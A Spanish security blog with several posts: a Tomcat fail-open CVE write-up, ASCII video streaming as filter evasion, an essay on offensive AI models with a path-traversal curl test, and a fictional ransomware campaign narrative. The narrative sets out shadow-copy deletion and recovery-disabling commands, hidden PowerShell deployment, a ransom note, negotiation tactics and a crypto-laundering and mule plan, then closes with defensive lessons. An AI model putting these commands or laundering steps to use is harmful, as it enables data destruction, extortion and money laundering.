Resulta tentador pensar que el problema está relacionado con AES pero no es así. El algoritmo utilizado es irrelevante. Da igual AES-CBC, AES-GCM o cualquier otro modo, el error aparece después de que la operación criptográfica falle. No importa el motivo del fallo. La excepción simplemente deja de impedir que el mensaje avance.

Esto resulta tan peligroso porque el siguiente componente de la cadena asume que todo mensaje recibido ya ha superado las comprobaciones anteriores. GroupChannel no vuelve a validar el contenido, confía en el interceptor. Este caso es un ejemplo de manual del antipatrón fail-open.

Una vulnerabilidad introducida por una mitigación

Lo realmente llamativo del caso es que el cambio aparece durante la corrección de otra vulnerabilidad. El parche original perseguía endurecer la criptografía. Sin embargo, durante ese proceso terminó eliminando la propiedad de seguridad más importante del componente: impedir que mensajes no autenticados llegasen a la capa de deserialización.

Este tipo de regresiones son especialmente difíciles de detectar mediante análisis estático. El código compila, funciona, registra errores y pasa muchas pruebas funcionales. Lo único que ha cambiado es una propiedad del flujo de control.

Lecciones para revisiones de seguridad

Este incidente deja varias conclusiones interesantes.

1. Los refactorings también modifican el modelo de amenazas: Mover una llamada fuera de un bloque try puede alterar completamente la superficie de ataque.

2. Las propiedades de seguridad deberían validarse mediante tests: No basta con comprobar que el código funciona.

También debería verificarse que:

un error de descifrado nunca produce procesamiento posterior;
las excepciones mantienen el comportamiento fail-closed.

3. Los interceptores representan fronteras de confianza: Cuando un interceptor garantiza una propiedad ("todo lo que sale está autenticado"), el resto del sistema deja de comprobarla. Romper esa garantía equivale a eliminar un control de seguridad de todo el pipeline.

Mitigación

Apache corrigió la regresión restaurando el comportamiento original, devolviendo la llamada a super.messageReceived() al interior del bloque protegido y recuperando así el modelo fail-closed. Según la investigación publicada, las versiones corregidas son 11.0.21, 10.1.54 y 9.0.117. Las ramas vulnerables fueron 11.0.20, 10.1.53 y 9.0.116, mientras que la serie 8.5.x no se ve afectada por esta regresión.

Conclusión

CVE-2026-34486 demuestra que las vulnerabilidades más críticas no siempre nacen de algoritmos criptográficos rotos o de primitivas inseguras.

En este caso bastó desplazar una única línea de código para transformar un interceptor que descartaba mensajes inválidos en otro que los reenviaba de forma incondicional.

Es un recordatorio de que las propiedades de seguridad no dependen únicamente del código que ejecutamos, sino también del flujo de ejecución que decidimos mantener. En componentes encargados de establecer límites de confianza, un pequeño cambio estructural puede ser suficiente para convertir una defensa en el origen de una vulnerabilidad crítica.

Fuente: https://www.striga.ai/research/tomcat-tribes-unauth-rce

El imbloqueable stream de video... ¡hecho en ASCII!

2026-06-14T23:57:15.844+02:00

Hay proyectos que no destacan por su utilidad práctica, sino por la incomodidad conceptual que generan. Uno de ellos es un experimento reciente conocido como Mode 5 rendering, una implementación que consigue transmitir vídeo en tiempo real utilizando únicamente texto ASCII. Sin imágenes, sin codecs tradicionales, sin frames en el sentido clásico: solo caracteres fluyendo como si fueran logs de sistema… que, en realidad, esconden una secuencia visual coherente a 30 FPS.

Más que una herramienta lista para producción, lo interesante de este proyecto es lo que pone sobre la mesa: la posibilidad de reinterpretar el vídeo como un flujo de texto estructurado, aprovechando un canal que, por definición histórica, suele estar menos restringido y más aceptado en entornos controlados.

Vídeo sin píxeles: una ruptura de la abstracción habitual

El punto de partida es sencillo pero contraintuitivo: el vídeo no es realmente una secuencia de imágenes, sino una función temporal de información visual comprimida. En la práctica, lo que percibimos como “imagen en movimiento” es solo una reconstrucción mental de datos discretos actualizados a suficiente velocidad.

El proyecto Mode 5 rendering rompe esa capa de abstracción habitual y sustituye completamente el dominio de píxeles por un dominio simbólico. En lugar de enviar matrices RGB o utilizar codecs como H.264 o VP9, cada frame se convierte en una rejilla de caracteres ASCII, donde cada símbolo representa una aproximación de intensidad luminosa. Es, en esencia, una cuantización extrema del espacio visual en un alfabeto reducido.

Este enfoque no es nuevo en términos conceptuales —el ASCII art existe desde los primeros sistemas de impresión digital—, pero lo relevante aquí es la escala temporal y la intención: no hablamos de imágenes estáticas, sino de un flujo continuo diseñado para sostener movimiento fluido.

Cómo se construye el flujo: del frame al texto

Veamos un ASCII renderer básico (sigue leyendo mientras renderiza el video original a ascii...):

Video original

Video convertido a ASCII

Loading...

El proyecto ASCILINE de YusufB5 es un engine mucho más avanzado. No solo convierte a ASCII “frame a frame”, usa técnicas tipo: streaming de frames optimizados, modos de color (hasta millones de colores), compresión y delta frames y rendering tipo “video stream textual”.

Aunque la implementación concreta puede variar, el pipeline típico de este tipo de sistemas sigue una lógica bastante clara. Primero se parte de una fuente de vídeo convencional, ya sea una cámara, un archivo o incluso un framebuffer renderizado en tiempo real. A partir de ahí, el contenido se somete a un downscaling agresivo, no solo en resolución espacial, sino también en complejidad de color, reduciendo la escena a una representación de luminancia básica.

Una vez simplificado el frame, entra en juego la parte clave: la cuantización por caracteres. Cada bloque de píxeles se analiza en función de su intensidad media y se mapea a un conjunto reducido de símbolos ordenados por densidad visual. Espacios o puntos representan zonas oscuras o vacías, mientras que caracteres como :, *, # o @ se utilizan para simular progresivamente áreas más densas o iluminadas.

El resultado de esta transformación no es una imagen, sino una matriz de texto. Y ese matiz es importante: a partir de este punto, el “vídeo” deja de existir como entidad gráfica y pasa a existir como flujo serializado de caracteres.

Un ejemplo visual: cuando los píxeles desaparecen

Para entender el efecto, basta imaginar un frame extremadamente simplificado de una escena con contraste alto. En lugar de una imagen tradicional, el sistema podría generar algo como esto:


@@@@@@@@@@@#######:::::::
@@@@@@@@@@@#######:::::::
@@@@@@@#####***+++:::....
@@@@@@#####***+++:::.....

Este tipo de representación no intenta ser precisa en términos fotográficos. Su objetivo es preservar la estructura global de la escena: bordes, sombras, contraste y movimiento relativo. Cuando se actualiza a 30 veces por segundo, el cerebro humano reconstruye el movimiento de forma sorprendentemente efectiva, incluso aunque la fidelidad individual de cada frame sea extremadamente baja.

El canal de transporte: texto como superficie de escape

Uno de los aspectos más interesantes del proyecto no es la conversión visual en sí, sino el medio elegido para transportar la información. El texto plano sigue siendo, en la mayoría de sistemas, el formato más permisivo y menos inspeccionado en profundidad. APIs de chat, logs, websockets o terminales suelen tratarlo como un flujo inocente de caracteres, sin interpretarlo como contenido multimedia.

El resultado es un efecto colateral evidente: si puedes codificar vídeo como texto suficientemente estructurado, puedes, en teoría, transportarlo por canales donde el vídeo tradicional estaría bloqueado o filtrado. De ahí surge la idea de “streaming no bloqueable”, aunque en la práctica esa afirmación es más aspiracional que real.

El sistema no rompe la física de los filtros de red; simplemente explota sus supuestos. Donde un DPI espera encontrar imágenes, encuentra líneas de texto aparentemente coherentes. Donde un proxy espera un chat, recibe un flujo constante de caracteres altamente estructurados.

Compresión, percepción y límites reales

Desde una perspectiva de sistemas, lo que se está haciendo aquí es una forma alternativa de compresión extrema. No es eficiente en términos de ancho de banda si se compara con codecs modernos, pero sí es extremadamente flexible en términos de representación. El coste se traslada del dominio del bit al dominio de la percepción humana.

El límite real de este enfoque no es técnico, sino cognitivo: el sistema funciona mientras el ojo humano sea capaz de reconstruir coherencia a partir de ruido estructurado. En cuanto la densidad visual cae por debajo de cierto umbral, el vídeo deja de ser interpretable. En el otro extremo, si se intenta aumentar demasiado la fidelidad, el ancho de banda requerido se vuelve rápidamente inviable.

Output	Details
	Original Source Standard MP4 video file.
	ASCII Mode Showcases rendered using Mode 3 (32K Colors) from a 30fps source.
	PIXEL Mode Showcases rendered using Mode 5 (16m Colors) combined with the `--pixel` flag for ultra-high fidelity.

Más allá del experimento: lo que realmente demuestra

Este tipo de proyectos no deberían interpretarse como alternativas reales a los sistemas de vídeo actuales, sino como exploraciones de frontera entre representación de datos y percepción. Al final, lo que Mode 5 rendering pone sobre la mesa no es un nuevo codec, sino una idea incómoda: que el vídeo no es una propiedad fija del medio, sino una convención sobre cómo decidimos codificar información visual.

En ese sentido, el experimento encaja más en la tradición de la computación creativa y la seguridad ofensiva conceptual que en la ingeniería de medios clásica. No porque sea práctico, sino porque obliga a replantear dónde están realmente los límites entre texto, imagen y canal de comunicación.

Y como suele ocurrir con este tipo de ideas, la pregunta interesante no es si “funciona bien”, sino cuánto de lo que asumimos como inmutable en los sistemas digitales es, en realidad, solo una capa más de abstracción esperando ser reinterpretada.

Proyecto: https://github.com/YusufB5/ASCILINE

Los modelos de IA ofensivos más peligrosos: separando el hype de la capacidad real

2026-06-09T23:51:25.812+02:00

"No, el problema no es que la IA pueda escribir un exploit. El problema es que empieza a parecerse peligrosamente a un compañero de red team que no duerme, no se distrae y puede leer diez mil páginas de documentación antes de que termines el primer café."

Durante los últimos dos años hemos visto titulares casi semanales sobre modelos de IA capaces de encontrar vulnerabilidades 0-day, escribir malware o comprometer infraestructuras enteras. Entre el marketing de los fabricantes, los benchmarks cocinados y las discusiones en X y Reddit, es difícil distinguir qué modelos son realmente preocupantes desde una perspectiva ofensiva.

La pregunta correcta no es: "¿Qué modelo genera el mejor payload?". La pregunta correcta es: "¿Qué modelo aumenta más la capacidad operativa de un atacante competente?" Porque la diferencia entre ambas preguntas es enorme.

Un exploit aislado tiene un valor limitado. Un sistema capaz de analizar código, identificar superficies de ataque, correlacionar documentación, generar tooling, interpretar logs y adaptarse dinámicamente durante una operación es otra historia. Y ahí es donde empieza la conversación seria.

La métrica equivocada: escribir exploits

Existe una obsesión casi infantil por medir la peligrosidad de un modelo preguntándole si puede generar un exploit para una vulnerabilidad conocida. Es una métrica pésima.

Cualquier profesional que haya hecho pentesting real sabe que el exploit suele ser la parte fácil. Lo complicado es Identificar el vector, comprender la arquitectura, encontrar supuestos erróneos, correlacionar componentes, construir cadenas de ataque y adaptarse cuando el entorno real no coincide con la teoría.

En otras palabras: el razonamiento importa más que el payload.

Los modelos más peligrosos no son los que producen más líneas de código ofensivo. Son los que entienden sistemas.

Nivel 1: los generadores de código

Aquí encontramos muchos modelos open source populares. Su capacidad principal consiste en generar scripts, adaptar PoCs existentes, automatizar tareas repetitivas y crear tooling auxiliar.

Por ejemplo, un operador proporciona:


@app.route("/upload")
def upload():
    filename = request.args.get("file")
    return open(filename).read()

El modelo detecta rápidamente:

Path Traversal.
Ausencia de validación.
Posible lectura arbitraria.

Y genera pruebas inmediatas:


curl "/upload?file=../../../../etc/passwd"

Impresionante para un principiante, pero normal para un pentester. Útil, pero no revolucionario.

Nivel 2: los analistas

Aquí empieza lo interesante. Modelos como DeepSeek-R1, GPT-5.5 o Claude Opus destacan menos por generar código y más por interpretar sistemas completos. Supongamos por ejemplo una aplicación con un frontend React, un backend Java Spring, Redis, Kafka, Kubernetes, e integración SAML.

Un modelo de primera generación ve componentes aislados. Un modelo avanzado empieza a preguntarse:

¿Existe confusión de identidad entre proveedores SAML?
¿Hay trust boundaries mal definidas?
¿Qué ocurre si Redis se usa como cache de autenticación?
¿Hay inconsistencias entre microservicios?

Ya no estamos hablando de payloads. Estamos hablando de arquitectura. Y muchas vulnerabilidades modernas nacen precisamente ahí.

El salto cualitativo: descubrir relaciones invisibles

Las vulnerabilidades más valiosas rara vez aparecen en una única línea de código. Aparecen cuando dos componentes perfectamente válidos interactúan de manera inesperada.

Ejemplo simplificado:

Servicio A:


if user.is_admin:
    allow()

Servicio B:


if token.role == "administrator":
    allow()

Ambos son correctos por separado.

Pero si existe una traducción defectuosa entre roles:


{
  "admin":"administrator"
}

puede aparecer una elevación de privilegios. Esto es precisamente el tipo de razonamiento donde los modelos modernos están empezando a destacar.

El verdadero monstruo: contexto masivo

Hace unos años un analista humano revisaba un repositorio, algo de documentación, un conjunto de logs... Ahora un modelo puede absorber simultáneamente miles de archivos, RFCs completas, arquitecturas empresariales, manuales internos. el historial completo de tickets....

La consecuencia es sencilla: encuentra correlaciones que antes requerían semanas. No porque sea más inteligente si no porque puede procesar más contexto y a velocidades absurdas.

Claude Mythos y el miedo de los laboratorios

Gran parte de la conversación reciente gira alrededor de Claude Mythos. Lo interesante no son las cifras. Lo interesante es qué tipo de tareas empezó a resolver. Los informes públicos describen comportamientos preocupantes:

Comprensión profunda de software complejo.
Identificación de vulnerabilidades sutiles.
Generación de hipótesis de explotación.
Investigación autónoma prolongada.

No es que "hackee mejor". Es que parece investigar mejor. Y eso es mucho más importante.

GPT-5.5 y la sorpresa incómoda

Mientras todo el mundo hablaba de Mythos, varios investigadores encontraron algo curioso: en numerosos escenarios reales GPT-5.5 estaba peligrosamente cerca.

La diferencia no era tan grande como sugerían algunos titulares. Especialmente en auditoría de código, reverse engineering, análisis de protocolos y automatización de pruebas.

Esto plantea una pregunta incómoda: ¿estamos viendo una convergencia entre los mejores modelos? Cada vez parece más que sí. De hecho, Anthropic lo sabe y por eso se ha apresurado a lanzar también Fable5 que parece tener la misma base, pero con guardrails fuertes (bloqueos + fallback a modelos más seguros). Está claro que no puede esperar a que otras compañías empiecen a adoptar e integrar otros modelos y pone en el mercado un "hermano pequeño".

Lo que realmente asusta: agentes

Aquí está el punto que muchos pasan por alto. Un modelo aislado tiene limitaciones. Un agente no. Con un buen abanico de herramientas disponibles, un flujo y un objetivo claro puede trabajar durante horas (si el consumo de tokens y tu presupuesto lo permiten). Sin intervención humana.

Ese escenario es mucho más relevante que cualquier benchmark sobre exploits. Sería el equivalente a un junior infinito.

Una forma útil de entender la situación actual es esta: Los modelos no son aún un red team senior. Pero sí empiezan a parecerse a un junior extraordinariamente rápido. Un junior que nunca se cansa, nunca olvida documentación y nunca deja de buscar. Y puede ejecutar cientos de tareas paralelas. La productividad resultante es enorme.

Las opciones open source

Muchos asumen que la amenaza vendrá exclusivamente de modelos cerrados. Error. Los modelos abiertos también avanzan con enorme rapidez. Especialmente DeepSeek-R1, Qwen y Llama.

La ventaja actual de los modelos comerciales sigue siendo clara. Pero la distancia ya no se mide en órdenes de magnitud. Se mide en márgenes. Y eso cambia completamente el panorama.

Entonces, ¿cuál es el modelo ofensivo más peligroso?

La respuesta decepcionará a quienes buscan una lista.

No es GPT.

No es Claude.

No es DeepSeek.

No es Qwen.

El sistema más peligroso hoy es:

Un modelo de frontera conectado a herramientas, memoria, navegación, ejecución de código y automatización.

Anatomía de una APT simulada. Parte 4 - La noche del cifrado, la negociación y el reparto

2026-06-04T00:21:42.948+02:00

El domingo a las 02:15, IberLogix todavía existía como empresa normal. A las 02:16, empezó a convertirse en un caso. Los primeros servidores en caer fueron los de ficheros regionales. No se apagaron. No mostraron pantallazos dramáticos. Simplemente empezaron a transformar documentos en ruido matemático. Los nombres cambiaban. Las extensiones aparecían como pequeñas banderas negras:

Contrato_Marco_TransIber.pdf.orchid
Nominas_Marzo_2026.xlsx.orchid
SAP_Proveedores_Q1.csv.orchid

En cada directorio quedaba una nota:

RESTORE-FILES-IBERLOGIX.txt

El texto era sobrio:

Your network has been encrypted by Nebula Jackal.
We have also downloaded sensitive company data.

Do not modify encrypted files.
Do not contact recovery companies before reading this message.
Do not attempt to hide the incident from stakeholders.

Portal:
http://[redacted].onion/iberlogix

Your private code:
IBX-7F3A-22C1

La nota no era el ataque. Era el final visible de un ataque que llevaba semanas ocurriendo.

OrchidLock: ransomware como sistema de producción

Nadir había escrito OrchidLock en Rust. No por moda, sino por tres razones: rendimiento, control de memoria y despliegue estático sencillo. El binario era diferente por víctima. Cada build incluye:

campaign_id
victim_id
public_key
extension
exclusion list
service kill list
share targeting config
operator signature
expiration date

El ransomware no contenía la clave privada. Nunca. Usaba cifrado híbrido:

Por archivo:
  file_key = random 256-bit
  nonce = random 96-bit
  encrypt(file, ChaCha20-Poly1305, file_key, nonce)

Por víctima:
  wrapped_key = X25519/ECDH + HKDF + AEAD(public_key_campaign, file_key)
  append metadata footer

Footer conceptual:

ORCHIDLOCKv3
victim_id: 16 bytes
file_id: 16 bytes
nonce: 12 bytes
wrapped_key_len: 2 bytes
wrapped_key: n bytes
tag: 16 bytes

El flujo:

for target in enumerate_targets(config) {
    if is_excluded(target) { continue; }
    if is_large_file(target) {
        encrypt_chunks(target);
    } else {
        encrypt_full(target);
    }
    write_note_once_per_directory(target.parent());
    report_progress(target);
}

La lista de exclusiones evitaba romper el arranque:

C:\Windows
C:\Program Files
C:\Program Files (x86)
C:\ProgramData\Microsoft\Windows Defender
bootmgr
ntldr
pagefile.sys
hiberfil.sys

La lista de procesos a detener era quirúrgica:

sqlservr.exe
oracle.exe
veeam.backup.shell.exe
Veeam.Backup.Service.exe
msmdsrv.exe
outlook.exe
excel.exe
winword.exe

Servicios:

MSSQLSERVER
SQLSERVERAGENT
VeeamBackupSvc
VSS
OracleService*

Comandos internos equivalentes:

vssadmin delete shadows /all /quiet
wmic shadowcopy delete
bcdedit /set {default} recoveryenabled No
bcdedit /set {default} bootstatuspolicy ignoreallfailures

No todos se ejecutaban siempre. El config decidía por host. En servidores críticos, OrchidLock reducía agresividad para mantenerlos arrancables. En estaciones, cifraba más ampliamente.

Despliegue: GPO, SCCM y shares

El binario llegó por tres rutas:

1. GPO startup script para workstations seleccionadas
2. PsExec/SMB para servidores con acceso directo
3. SCCM package preparado como fallback

Script de despliegue conceptual:

$src = "\\dc-mad-01\SYSVOL\IBERLOGIX.LOCAL\scripts\orchid.dat"
$dst = "C:\ProgramData\Microsoft\Crypto\orchid.exe"
Copy-Item $src $dst -Force
Start-Process $dst -ArgumentList "--config embedded --mode local" -WindowStyle Hidden

En shares, OrchidLock podía cifrar por UNC:

\\fs-mad-04\finance
\\sap-share-01\exports
\\legal-mad-01\cases

El panel mostraba progreso:

IBX-7F3A-22C1
Hosts enrolled: 1432
Hosts active encryption: 612
Files encrypted: 18,442,901
Bytes encrypted: 74.3 TB
Notes written: 91,204
Errors: 3.8%

El ransomware reportaba en intervalos. No cada archivo. Demasiado ruido. Cada host enviaba resumen:

{
  "host": "FS-MAD-04",
  "status": "running",
  "files_done": 184203,
  "bytes_done": 98234122112,
  "errors": 391,
  "elapsed": 1840
}

A las 03:02, el NOC de IberLogix vio errores masivos en shares. A las 03:11, helpdesk recibió llamadas de usuarios en México que aun estaban trabajando. A las 03:22, un administrador intentó restaurar un archivo y descubrió que parte de los repositorios Veeam no respondían. A las 03:40, el CISO fue despertado. A las 04:05, Vesper abrió el portal de negociación.

El portal: teatro, prueba y control

El portal Tor de Nebula Jackal no parecía una web de pelicula. Parecía un SaaS barato:

Incluía:

Chat
File decrypt test
Data proof browser
FAQ
Payment instructions
Countdown

La prueba de datos estaba calculada. No publicaban todo. Mostraban lo suficiente:

10 nominas anonimizadas parcialmente
3 contratos con proveedores
1 documento de seguro ciber
2 capturas de buzones ejecutivos
Listado de directorios legal/finance
Hash manifest de lotes exfiltrados

Vesper escribió:

We are not interested in damaging your operations beyond what is necessary.
You have two problems:
1. Encrypted systems.
2. Confidential data exposure.

Both can be solved here.

El tono era deliberado: no rabia, no insultos, no caos. Control. IberLogix pidií prueba de descifrado. Subieron tres archivos cifrados. Nebula Jackal devolvió dos descifrados y rechazo uno:

Two files decrypted as proof.
Third file rejected: contains legal data. Choose non-sensitive sample.

Ese detalle parecía profesionalidad. También reforzaba una idea: los atacantes habían visto sus documentos.

Negociación: matemática emocional

La demanda inicial fue 9 millones USD. The Curator ya había definido el suelo: 4.8 millones. La cifra no salió al azar. Mint y Magpie habían estimado:

Revenue: high
Cyber insurance limit: 10M
Operational downtime cost/day: 1.2M - 2.4M
Regulatory exposure: high
Data sensitivity: high
Backup recovery: partial
PR risk: high

Modelo interno:

initial_demand = min(insurance_limit * 0.9, estimated_5_day_loss * 1.1)
floor = max(cashout_target / payment_probability, 0.45 * initial_demand)

Vesper nunca mencionó el seguro al principio. Esperó a que IberLogix dijera que necesitaba tiempo. Entonces escribió:

Your insurance documentation is part of the downloaded data.
We know delay is a negotiation tactic.
The publication timer is not.

El equipo legal de IberLogix intentó ganar días. Vesper concedió 24 horas a cambio de aumentar prueba de vida: otra muestra descifrada y un árbol de directorios más amplio. La negociación bajó a 6.5M, luego a 5.2M, y finalmente a 4.8M con dos condiciones:

1. Decryptor funcional para todos los sistemas afectados.
2. Eliminacion de datos exfiltrados y no publicacion.

Nebula Jackal entregaría un "delete log". Nadie podía verificar realmente que los datos se borrasen. La promesa era parte del teatro. En doble extorsión, el pago compra probabilidad, no certeza.

El pago: la linea que nunca debe ser recta

Mint generó una direccion BTC única para IberLogix:

bc1q-ibx-campaign-unique-address

Internamente, la wallet estaba etiquetada:

{
  "victim_id": "IBX-7F3A-22C1",
  "expected_btc": 73.42,
  "usd_basis": 4800000,
  "split_plan": "orchid-7",
  "risk": "high_visibility"
}

El pago entró en dos transacciones para reducir ansiedad de la víctima y confirmar recepción:

TX1: 5% test payment
TX2: 95% final payment

Una vez confirmado, Nebula Jackal no movió todo inmediatamente. Mover fondos demasiado rápido tras un incidente crea un patrón claro. Mint aplicó un plan de enfriamiento:

T+0h: funds received, no movement except small test
T+8h: split into 12 UTXO clusters
T+36h: partial conversion via non-KYC swap routes
T+72h: XMR routing for 40%
T+5d: OTC placement for 25%
T+10d: stablecoin conversion for 20%
T+21d: mule distribution for operating costs

El reparto inicial:

Gross: 4.8M USD equivalent
Expected laundering loss: 18%
Infrastructure reserve: 7%
Emergency/legal reserve: 5%
Net distributable: approx 3.36M

El plan de chain hopping:

BTC victim wallet
  -> split wallets
    -> BTC/XMR atomic swap or brokered swap
      -> XMR holding wallets
        -> partial XMR/BTC return through different liquidity
        -> stablecoins via OTC
        -> fiat via brokers/mulas

Mint tenía reglas:

No exchange KYC directly from victim-linked UTXO
No equal splits
No round numbers
No synchronized withdrawals
No reuse of deposit addresses
No mixing operator funds with campaign funds

Ejemplo de split:

73.42 BTC
  -> 8.13
  -> 3.77
  -> 12.04
  -> 1.92
  -> 6.41
  -> 9.86
  -> 0.64
  -> 14.22
  -> 2.39
  -> 5.58
  -> 4.01
  -> 4.45

Nada de simetría. La simetría es una firma.

Monetizacion: del token al mundo físico

Convertir cripto en dinero util era más difícil que recibirla. El equipo financiero usaba varias vías:

1. Brokers OTC en mercados grises
2. Comerciantes P2P con prima alta
3. Compra de hardware revendible
4. Gift cards mayoristas
5. Stablecoins para pagos internos
6. Sociedades pantalla con facturas falsas
7. Mulas con retiros pequenos

Cada vía tenia coste y riesgo:

Metodo                 Perdida   Riesgo   Velocidad
OTC gris               8-15%     Medio    Media
P2P cash               15-30%    Alto     Alta
Stablecoin             2-6%      Medio    Alta
Hardware resale        20-35%    Bajo     Baja
Gift cards             25-40%    Medio    Media
Shell invoices         10-25%    Alto     Baja

La clave era no maximizar rendimiento, sino supervivencia. Un 20% de perdida era aceptable si reducía trazabilidad y distribuía riesgo. Las mulas no recibían millones. Recibían tareas:

Mula A: vender hardware comprado con cripto
Mula B: mover stablecoins a efectivo local
Mula C: aceptar pago por factura falsa
Mula D: comprar cuentas cloud y dominios

La mayoría no sabia que participaba en ransomware. Algunos creian trabajar en arbitraje cripto. Otros sabían suficiente para cobrar mas y preguntar menos.

Reparto interno

The Curator aplicó el contrato interno:

Direction / risk owner: 18%
Initial access cell: 12%
Malware team: 18%
Intrusion operators: 20%
Infrastructure/OPSEC: 8%
Exfiltration: 7%
Negotiation: 7%
Finance/cashout: 10%

Pero no todo se pagaba al instante. Había vesting criminal:

40% immediate after confirmed payment
30% after successful decryptor delivery
20% after first cashout phase
10% reserve released after 60 days

Motivo: evitar que alguien desapareciera con fondos o vendiera datos por su cuenta. Ledger interno, cifrado:

{
  "campaign": "black_orchard",
  "gross_usd": 4800000,
  "net_distributable_usd": 3360000,
  "members": [
    {"id": "curator", "share": 0.18, "paid": 241920},
    {"id": "saltline", "share": 0.12, "paid": 161280},
    {"id": "sable", "share": 0.08, "paid": 107520},
    {"id": "oboe", "share": 0.05, "paid": 67200},
    {"id": "nadir", "share": 0.05, "paid": 67200},
    {"id": "knifewall", "share": 0.12, "paid": 161280},
    {"id": "meridian", "share": 0.08, "paid": 107520},
    {"id": "hollow", "share": 0.07, "paid": 94080},
    {"id": "vesper", "share": 0.07, "paid": 94080},
    {"id": "mint", "share": 0.10, "paid": 134400}
  ],
  "reserve_usd": 336000
}

Los pagos internos se hacian en combinaciones:

XMR para operadores senior
USDT/USDC para infraestructura y servicios
BTC limpio por OTC para reservas
Fiat local para mulas
Servicios prepagados para futuras campanas

El descifrador

Tras el pago, Nebula Jackal entregó un decryptor:

IberLogix_Decryptor.exe
private_key_package.dat
README_RECOVERY.txt

El decryptor era lento, pero funcionaba. Ese era otro detalle de negocio: si el descifrador no funcionaba, futuras victimas tendrian menos incentivos para pagar. El ransomware criminal maduro depende de reputación paradójica. El README:

1. Ejecutar como administrador.
2. Probar primero en 10 archivos.
3. No ejecutar multiples instancias sobre el mismo path.
4. Usar --network-shares para rutas UNC.
5. Guardar logs.

Parámetros:

.\IberLogix_Decryptor.exe --key private_key_package.dat --path D:\Data --threads 8
.\IberLogix_Decryptor.exe --key private_key_package.dat --network-shares \\fs-mad-04\finance

La recuperación duró días. Algunos archivos estaban corruptos por bloqueos previos, software abierto o fallos de red. Nebula Jackal ofreció "soporte" en el chat durante 72 horas. Vesper incluso pidió logs. El absurdo era perfecto: la empresa recibía soporte técnico de quien la había destruido.

Burn: desaparecer no es apagar

Después del pago, Nebula Jackal ejecutó la fase Burn. Lista:

Revoke phishing domains
Destroy VPS frontales
Rotate WireGuard keys
Archive campaign repos
Invalidate operator accounts
Move leak data to cold storage or delete selected lots
Retire SeedCrate config
Generate YARA diff for exposed samples
Update detections internas
Freeze aliases used

Sable revisó muestras capturadas por defensores. Oboe comparó indicadores publicados. Magpie leyó los primeros informes de prensa. The Curator calculó el ROI:

Campaign duration: 31 days
Active intrusion: 19 days
Gross paid: 4.8M
Net estimated: 3.36M
Operational cost: 214k
Exposed infrastructure: acceptable
Tooling burned: partial
Operator exposure: low
Reuse potential: medium

Retrospectiva interna:

What worked:
  - HR pretext aligned with real migration
  - Low-noise loader survived
  - Backup admin path via acquisition user
  - Insurance document improved negotiation

What failed:
  - One EDR flagged Nighthook memory pattern after day 8
  - rclone binary naming appeared in DFIR notes
  - GPO deployment missed 18% remote laptops
  - Decryptor too slow on large PST files

Actions:
  - Refactor Nighthook memory allocator
  - Replace rclone with custom S3 client
  - Improve laptop wake/encrypt routine
  - Add PST sparse recovery mode

Nebula Jackal no pensaba en Black Orchard como una historia. Pensaba en ella como una versión.

La lectura defensiva

La belleza oscura de una campana así es que no depende de un milagro técnico. Depende de pequeñas decisiones que, aisladas, parecen defendibles:

Un correo de RRHH plausible.
Un dominio parecido.
Un ZIP con contrasena.
Un LNK que abre un PDF real.
Una DLL cargada por una app legitima.
Una tarea programada con nombre aburrido.
Una credencial vieja en SYSVOL.
Un usuario de adquisicion con permisos pendientes.
Un backup server demasiado poderoso.
Una exfiltracion que parece backup.
Una GPO con permisos delegados.
Un domingo de madrugada.

La defensa no puede limitarse a detectar "ransomware.exe". Cuando aparece el cifrado, la historia ya esta escrita. Los puntos de ruptura estaban antes:

1. Deteccion de dominios lookalike y certificados recien emitidos.

2. Bloqueo o aislamiento de HTML smuggling y archivos LNK desde Internet.

3. Control de DLL sideloading mediante allowlisting.

4. Alertas por scheduled tasks nuevas en perfiles de usuario.

5. Limpieza continua de credenciales en SYSVOL.

6. Revision de permisos tras adquisiciones.

7. Monitoreo de accesos anormales a backup servers.

8. Segmentacion real de repositorios de backup.

9. Deteccion de exfiltracion por volumen, horario y destino.

10. GPO change monitoring con aprobacion fuerte.

11. Simulacros de ransomware con restauracion medida.

12. Correlacion narrativa: convertir alertas sueltas en una historia.

IberLogix no perdió por no tener herramientas. Perdió porque Nebula Jackal hizo que cada señal pareciera pertenecer a una historia distinta hasta que todas se unieron en la peor posible. Esa es la esencia de una APT simulada bien construida: no es un ataque mas sofisticado en cada pieza. Es una cadena donde cada pieza conoce su lugar. Y en Black Orchard, cada pieza encajó.

Cierre de la serie

Nebula Jackal no existe. IberLogix Energy tampoco. Pero el patrón es reconocible porque esta construido con elementos que si existen: phishing que aprovecha procesos reales, identidades híbridas, deuda técnica en AD, permisos heredados, backups demasiado confiados, exfiltración camuflada, negociación profesional y monetizaciín distribuida. La moraleja técnica no es "todo esta perdido". Es más concreta y más útil:

"Una organización defensiva debe aprender a ver cadenas."

Un LNK no es sólo un LNK si aparece después de un dominio recién registrado que imita RRHH. Una tarea programada no es sólo una tarea si nace en un portátil de finanzas después de un beacon raro. Un login de un usuario de adquisición no es solo soporte si toca backup fuera de su patrón. Una transferencia nocturna no es sólo backup si el destino es nuevo y el manifiesto no existe. Una GPO modificada no es solo administración si ocurre tras actividad lateral. La APT moderna, real o simulada, gana cuando el defensor mira eventos. Pierde cuando el defensor reconstruye historias.